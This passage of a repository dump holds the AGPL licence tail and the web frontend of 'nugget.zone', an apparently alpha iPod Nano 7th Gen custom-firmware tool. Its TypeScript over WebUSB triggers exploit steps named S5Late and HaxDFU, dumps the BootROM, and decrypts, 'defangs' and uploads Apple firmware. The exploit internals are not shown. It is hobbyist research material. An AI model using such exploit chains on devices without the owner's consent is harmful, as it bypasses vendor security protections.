object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Remote Network Interaction; Use with the GNU General Public License.\n\n  Notwithstanding any other provision of this License, if you modify the\nProgram, your modified version must prominently offer all users\ninteracting with it remotely through a computer network (if your version\nsupports such interaction) an opportunity to receive the Corresponding\nSource of your version by providing access to the Corresponding Source\nfrom a network server at no charge, through some standard or customary\nmeans of facilitating copying of software.  This Corresponding Source\nshall include the Corresponding Source for any work covered by version 3\nof the GNU General Public License that is incorporated pursuant to the\nfollowing paragraph.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the work with which it is combined will remain governed by version\n3 of the GNU General Public License.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU Affero General Public License from time to time.  Such new versions\nwill be similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU Affero General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU Affero General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU Affero General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU Affero General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If your software can interact with users remotely through a computer\nnetwork, you should also make sure that it provides a way for users to\nget its source.  For example, if your program is a web application, its\ninterface could display a \"Source\" link that leads users to an archive\nof the code.  There are many ways you could offer source, and different\nsolutions will be better for different programs; see section 13 for the\nspecific requirements.\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU AGPL, see\n<https://www.gnu.org/licenses/>.\n"
  },
  {
    "path": "web/Makefile",
    "content": "TSC ?= tsgo\n\ndefault: run\n\nserver.elf: server/main.go\n\tgo build -o $@ ./server\n\ndist/wiwali.wasm:\n\t@mkdir -p dist\n\tGOOS=js GOARCH=wasm go build -o dist/wiwali.wasm ./wiwali\n\ndist/wasm_exec.js:\n\t@mkdir -p dist\n\tcp \"$$(go env GOROOT)/misc/wasm/wasm_exec.js\" dist/wasm_exec.js\n\nnode_modules: package.json yarn.lock\n\tyarn\n\ncheck: node_modules\n\t$(TSC) -noEmit -p tsconfig.json | tee check.log\n\t@ ! grep -q error check.log\n\ndist/components.js: $(wildcard src/*.ts) check node_modules\n\t@mkdir -p dist\n\tesbuild --bundle --minify --sourcemap --target=es2020 src/components.ts > $@\n\ndist/index.html: index.html\n\t@mkdir -p dist\n\tcp $< $@\n\ndist/edk2.wasm: ../pkg/efi/compression/edk2.wasm\n\t@mkdir -p dist\n\tcp $< $@\n\ndist/favicon.png: favicon.png\n\t@mkdir -p dist\n\tcp $< $@\n\ndist: dist/wiwali.wasm dist/wasm_exec.js dist/components.js dist/index.html dist/edk2.wasm dist/favicon.png\n\ndeploy: dist\n\t$(if $(HOST),,$(error HOST must be set))\n\trsync -ayvz dist/ $(HOST):/var/www/nugget.zone/\n\nrun: dist server.elf\n\t./server.elf -root dist\n\nclean:\n\trm -rf dist check.log node_modules server.elf\n\n.PHONY: dist/wiwali.wasm clean check dist deploy\n"
  },
  {
    "path": "web/README.md",
    "content": "nugget.zone\n===========\n\nAlpha-stage web interface to wInd3x.\n\nArchitecture\n------------\n\nwInd3x is exported as `wiwali` (the wInd3x Wasm Library), which is compiled to WebAssembly and loaded by the Typescript/ECMAScript app.\n\nBecause wInd3x itself already uses WebAssembly (via wazero) to include the TianoCore compression algorithm, it has to be injected by the app at startup to provide it with the same functionality from the same Emscripten bundle, but not loaded by the browser instead of wazero.\n\nThe Typescript/ECMAScript app is frameworkless and based around lit.js WebComponents.\n\nGetting started\n---------------\n\n    $ nix-shell\n    $ make run\n\nTo just package, do `make dist` and deploy `dist` to your webserver.\n\nLicense\n-------\n\nUnlike the rest of wInd3x, the nugget.zone codebase (Go bindings, Typescript code, etc.) is AGPL licensed. See COPYING for more details.\n"
  },
  {
    "path": "web/index.html",
    "content": "<!DOCTYPE html>\n<head>\n    <meta charset=\"utf-8\">\n    <title>nugget.zone - alpha 1</title>\n    <link rel=\"icon\" type=\"image/png\" href=\"/favicon.png\">\n    <script src=\"wasm_exec.js\"></script>\n    <script type=\"module\" src=\"./components.js\"></script>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <style type=\"text/css\">\n        body {\n            font-family: Georgia, 'Times New Roman', Times, serif;\n        }\n    </style>\n</head>\n<body>\n    <nz-root></nz-root>\n</body>"
  },
  {
    "path": "web/package.json",
    "content": "{\n  \"name\": \"nuggetzone\",\n  \"version\": \"1.0-rc1\",\n  \"main\": \"src/main.ts\",\n  \"author\": \"q3k & freemyipod crew\",\n  \"license\": \"AGPL-3.0\",\n  \"dependencies\": {\n    \"@lit/task\": \"^1.0.2\",\n    \"lit\": \"^3.2.1\"\n  },\n  \"devDependencies\": {\n    \"@types/w3c-web-usb\": \"^1.0.10\",\n    \"@types/wicg-file-system-access\": \"^2023.10.6\"\n  }\n}\n"
  },
  {
    "path": "web/server/README.md",
    "content": "Dev backend server for nugget.zone. Serves dist/ and proxies downloads from Apple CDN (for CORS reasons).\n"
  },
  {
    "path": "web/server/main.go",
    "content": "package main\n\nimport (\n\t\"flag\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/http/httputil\"\n\t\"net/url\"\n)\n\nvar (\n\tflagRoot   string\n\tflagListen string\n)\n\nfunc main() {\n\tflag.StringVar(&flagRoot, \"root\", \".\", \"Directory to serve files from\")\n\tflag.StringVar(&flagListen, \"listen\", \":8000\", \"Address to listen on \")\n\tflag.Parse()\n\n\tproxy := &httputil.ReverseProxy{\n\t\tRewrite: func(r *httputil.ProxyRequest) {\n\t\t\tr.SetURL(&url.URL{\n\t\t\t\tScheme: \"http\",\n\t\t\t\tHost:   \"appldnld.apple.com\",\n\t\t\t})\n\t\t},\n\t}\n\thttp.Handle(\"/ipod/\", proxy)\n\thttp.Handle(\"/iPod/\", proxy)\n\thttp.Handle(\"/\", http.FileServer(http.Dir(flagRoot)))\n\n\tlog.Fatal(http.ListenAndServe(flagListen, nil))\n}\n"
  },
  {
    "path": "web/shell.nix",
    "content": "with import <nixpkgs> {};\n\nlet\n  tsgo = pkgs.buildGoModule {\n    name = \"tsgo-2025-03-05\";\n    src = pkgs.fetchFromGitHub {\n      owner = \"microsoft\";\n      repo = \"typescript-go\";\n      rev = \"5778a352bad26e285bec4da5f0e831140485522d\";\n      hash = \"sha256-CfihPE6Wds0UqNfATCvAa4i0G9k85hy4bS6btSPrdjM=\";\n    };\n    vendorHash = \"sha256-HCoWmTdBDACcRHdzZA4Z4TYvoDBnt778w+Twhw+vId8=\";\n    doCheck = false;\n  };\n\nin pkgs.mkShell {\n  buildInputs = with pkgs; [\n    esbuild yarn tsgo\n  ];\n}\n"
  },
  {
    "path": "web/src/components.ts",
    "content": "import {html, css, LitElement, PropertyValues} from 'lit';\nimport {Task, TaskStatus} from '@lit/task';\nimport {customElement, property, state} from 'lit/decorators.js';\n\nimport { load as loadGo, Exports, PayloadKind, InterfaceKind, DeviceDescription, App as GoApp, DeviceKind } from \"./go.js\";\nimport { load as loadEdk2} from \"./edk2.js\";\n\nvar go: Exports | null = null;\n\nconst commonStyles = css`\n    .attention {\n        background-color: #ffeeee;\n        padding: 0.5em 2em 0.5em 2em;\n    }\n    .okay {\n        background-color: #eeffee;\n        padding: 0.5em 2em 0.5em 2em;\n    }\n    button {\n        padding: 0.5em;\n    }\n    h1 small {\n        color: #444;\n    }\n    li {\n        line-height: 1.5em;\n    }\n    p {\n        line-height: 1.5em;\n    }\n`;\n\n@customElement(\"nz-disclaimer\")\nexport class Disclaimer extends LitElement {\n    static styles = [commonStyles];\n\n    @state()\n    protected _accepted: boolean = false;\n\n    @state()\n    protected _toast: string = \"\";\n\n    @state()\n    _checked: boolean = false;\n\n    render() {\n        return html`\n            <h1>Welcome to the nugget zone! <small>alpha 2</small></h1>\n            <p>\n                This little web tool is a proof of concept to demonstrate custom-firmware-like capabilities on the <b>iPod Nano 7th Gen</b>. It allows you to run a customized version of the stock software <b>fully in memory and reversible by reboot</b>.\n            </p>\n            <p>\n                Current customizations are:\n            </p>\n            <p>\n                <ol>\n                    <li>'freemyipod' branding on the USB connection screen.</li>\n                </ol>\n            </p>\n            <p>\n                This tool is based upon the <a href=\"https://github.com/freemyipod/wInd3x\">wInd3x</a> toolkit</a>, but runs fully in your browser. It makes use of multiple vulnerabilities and exploit chains discovered by many people, eg.: __gsch, q3k, and others.\n            </p>\n            <p>\n                It maintained by <a href=\"https://social.hackerspace.pl/@q3k\">q3k</a>, who can be reached at q3k@q3k.org by email or @q3k:hackerspace.pl on Matrix.\n            </p>\n            <div class=\"attention\">\n                <h4>Warranty Disclaimer</h4>\n                <p>\n                    Nugget.zone is <b>experimental software</b> with <b>absolutely no warranty given</b>. While iPods are quite resiliant to bricking, they are not fully immune to it. No bricking has been reported as result of using this software, but that doesn't mean it can't happen - you have been warned.\n                </p>\n                <p>\n                    THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n                </p>\n            </div>\n            <div class=\"actions\">\n                <p>\n                    <input\n                        id=\"accept-tos\" type=\"checkbox\"\n                        .checked=\"${this._accepted}\" \n                        @change=\"${(e: {target: HTMLInputElement}) => this._accepted = e.target.checked}\"\n                    />\n                    <label for=\"accept-tos\">I understand and accept the disclaimer above and wish to continue.</label>\n                </p>\n                ${this._toast != \"\" ? html`<p class=\"toast attention\">${this._toast}</p>` : html``}\n                <button @click=${this.continue}>Continue</button>\n            </div>\n        `;\n    }\n\n    continue() {\n        if (this._accepted) {\n            if (navigator.usb === undefined) {\n                alert(\"Your browser doesn't support WebUSB. Please use Chrome/Chromium/Edge instead.\")\n            } else {\n                this.dispatchEvent(new CustomEvent('accepted', {\n                    detail: {\n                        usb: navigator.usb,\n                    },\n                }));\n            }\n        } else {\n            this._toast = \"Please read and accept the disclaimer above before continuing.\";\n        }\n    }\n}\n\nclass RunError extends Error {}\n\n@customElement(\"nz-device-connected\")\nexport class DeviceConnected extends LitElement {\n    render() {\n    }\n}\n\ninterface Connected {\n    app: GoApp,\n    di: DeviceDescription,\n    manufacturer?: string,\n}\n\n@customElement(\"nz-hex-dump\")\nexport class HexDump extends LitElement {\n    static styles = [commonStyles, css`\n        pre {\n            height: 32em;\n            overflow-y: scroll;\n            background-color: #280040;\n            color: #ffffff;\n            padding: 1em;\n        }\n    `];\n\n    private _dump(array: Array<number>, offset: bigint): string {\n        let lines = [];\n        for (let i = 0; i < array.length; i += 16) {\n            const block = array.slice(i, Math.min(i + 16, array.length));\n            const addr = BigInt(offset) + BigInt(i);\n            const addrStr = (\"00000000\" + addr.toString(16)).slice(-8);\n            const hex = block.map((n) => {\n                const v = (\"0\" + n.toString(16)).slice(-2);\n                return v;\n            })\n            const ascii = block.map((n) => {\n                let v = \".\";\n                if (n >= 0x20 && n <= 0x7e) {\n                    v = String.fromCharCode(n);\n                }\n                return v;\n            })\n            lines.push(addrStr + \"| \" + hex.join(\" \") + \" |\" + ascii.join(\"\"));\n        }\n        return lines.join(\"\\n\");\n    }\n\n    @property()\n    data: Array<number> = []\n\n    @property()\n    offset: bigint = BigInt(0)\n\n    render() {\n        return html`\n            <pre>${this._dump(this.data, this.offset)}</pre>\n        `;\n    }\n}\n\ninterface Step {\n    description: string,\n    percentage: number,\n}\n\nclass Progress {\n    steps: Array<Step>;\n\n    constructor() {\n        this.steps = [];\n    }\n\n    reset() {\n        this.steps = [];\n    }\n\n    step(description: string): Step {\n        console.log(\"Progress: Starting step \" + description);\n        const prev = this.steps.length;\n        if (prev > 0) {\n            this.steps[prev-1].percentage = 1.0;\n        }\n        const step = {\n            description,\n            percentage: 0,\n        };\n        this.steps.push(step);\n        return step;\n    }\n}\n\n@customElement(\"nz-wtf-device\")\nexport class WTFDevice extends LitElement {\n    @property()\n    connected?: Connected\n\n    @state()\n    _progress: Progress = new Progress;\n\n    @state()\n    _bootrom: Array<number> = [];\n\n    static styles = [commonStyles];\n\n    private _cfwTask = new Task(this, {\n        task: async ([], {signal}) => {\n            if (this.connected === undefined) {\n                throw new RunError(\"not connected\");\n            }\n            this._progress.reset();\n\n            let step = this._progress.step(\"Uploading RetailOS CFW...\");\n            await this.connected.app.SendPayload(PayloadKind.RetailOSCustomized, (done) => {\n                step.percentage = done;\n                this.requestUpdate();\n            });\n            await this.requestUpdate();\n\n            this.dispatchEvent(new CustomEvent('started-cfw', {\n                detail: {},\n            }));\n        },\n        args: () => [],\n        autoRun: false,\n    });\n\n    render() {\n        let cfw = this._cfwTask.render({\n            initial: () => html`\n                <p>\n                    <button @click=${this.sendCFW}>Upload CFW RetailOS</button>\n                </p>\n            `,\n            pending: () => html``,\n            complete: () => html`\n                <p>\n                    RetailOS CFW uploaded! To return to stock, simply reboot your device.\n                </p>\n            `,\n            error: (e) => html`\n                <p class=\"attention\">\n                    RetailOS CFW upload failed: <code>${e}</code>.\n                </p>\n                <p>\n                    <button @click=${this.sendCFW}>Try again...</button>\n                </p>\n            `,\n        });\n        let progress = this._progress.steps.map((step) => {\n            return html`\n                <li>${step.description}: ${Math.floor(step.percentage * 100)}%</li>\n            `;\n        });\n        let progress_ = html`\n            <p>\n                <ul class=\"okay\">\n                    ${progress}\n                </ul>\n            </p>\n        `;\n        return html`\n            <p>\n                You can now upload a customized RetailOS firmware.\n            </p>\n            ${progress.length > 0 ? progress_ : html``}\n            ${cfw}\n        `;\n    }\n\n    sendCFW() {\n        this._bootrom = [];\n        this._cfwTask.run();\n    }\n}\n\n@customElement(\"nz-dfu-device\")\nexport class DFUDevice extends LitElement {\n    @property()\n    connected?: Connected\n\n    @state()\n    _progress: Progress = new Progress;\n\n    @state()\n    _bootrom: Array<number> = [];\n\n    @state()\n    _disabled = false;\n\n    static styles = [commonStyles];\n\n    private _dumpTask = new Task(this, {\n        task: async ([], {signal}) => {\n            if (this.connected === undefined) {\n                throw new RunError(\"not connected\");\n            }\n            this._progress.reset();\n\n            this._progress.step(\"Running S5Late...\");\n            await this.connected.app.PrepareUSB();\n\n            let step = this._progress.step(\"Dumping BootROM...\");\n\n            const size = 0x10000;\n            const blockSize = 0x40;\n            const blocks = size / blockSize;\n            for (let i = 0; i < blocks; i++) {\n                let mem = await this.connected.app.DumpMem(BigInt(\"0x20000000\") + BigInt(i) * BigInt(blockSize));\n                let memArray = Array.from(mem);\n                this._bootrom.push(...memArray);\n                step.percentage = i / blocks;\n                this.requestUpdate();\n            }\n            step.percentage = 1;\n        },\n        args: () => [],\n        autoRun: false,\n    });\n\n    private _saveTask = new Task(this, {\n        task: async ([], {signal}) => {\n            if (this._bootrom.length === 0) {\n                throw new RunError(\"No BootROM dump!\")\n            }\n            const handle = await showSaveFilePicker({\n                startIn: \"downloads\",\n                suggestedName: \"bootrom-n7g.bin\",\n                types: [{description: \"Raw Binary\", accept: {\"application/octet-stream\": \".bin\"}}]\n            });\n            const writable = await handle.createWritable();\n            const array = new Uint8Array(this._bootrom);\n            await writable.write(array);\n            await writable.close();\n        },\n        args: () => [],\n        autoRun: false,\n    });\n\n    private async prepareStep(kind: PayloadKind, name: string) {\n            if (this.connected === undefined) {\n                throw new RunError(\"not connected\");\n            }\n\n            let step = this._progress.step(name);\n            await this.requestUpdate();\n            await this.connected.app.PreparePayload(kind, (done) => {\n                step.percentage = done;\n                this.requestUpdate();\n            });\n            step.percentage = 1;\n            await this.requestUpdate();\n    }\n\n    private _wtfTask = new Task(this, {\n        task: async ([], {signal}) => {\n            if (this.connected === undefined) {\n                throw new RunError(\"not connected\");\n            }\n            this._progress.reset();\n\n            await this.prepareStep(PayloadKind.WTFUpstream, \"Downloading WTF...\");\n            await this.prepareStep(PayloadKind.WTFDecrypted, \"Decrypting WTF...\");\n            await this.prepareStep(PayloadKind.WTFDefanged, \"Defanging WTF...\");\n            await this.prepareStep(PayloadKind.RetailOSUpstream, \"Downloading RetailOS...\");\n            await this.prepareStep(PayloadKind.RetailOSDecrypted, \"Decrypting RetailOS (this will take a while)...\");\n\n            let step = this._progress.step(\"Triggering HaxedDFU mode...\");\n            await this.connected.app.HaxDFU();\n            step.percentage = 1;\n            await this.requestUpdate();\n\n            step = this._progress.step(\"Uploading defanged WTF...\");\n            await this.connected.app.SendPayload(PayloadKind.WTFDefanged, (done) => {\n                step.percentage = done;\n                this.requestUpdate();\n            });\n            await this.requestUpdate();\n\n            this._disabled = true;\n            this.dispatchEvent(new CustomEvent('switched-to-wtf', {\n                detail: {},\n            }));\n        },\n        args: () => [],\n        autoRun: false,\n    });\n\n    render() {\n        let nonePending = (this._dumpTask.status !== TaskStatus.PENDING)\n            && (this._wtfTask.status !== TaskStatus.PENDING);\n\n        let save = this._saveTask.render({\n            initial: () => html`\n                <button @click=${this.saveBootROM}>Save to file...</button>\n            `,\n            pending: () => html`\n                Saving...\n            `,\n            complete: () => html`\n                <button @click=${this.saveBootROM}>Save to 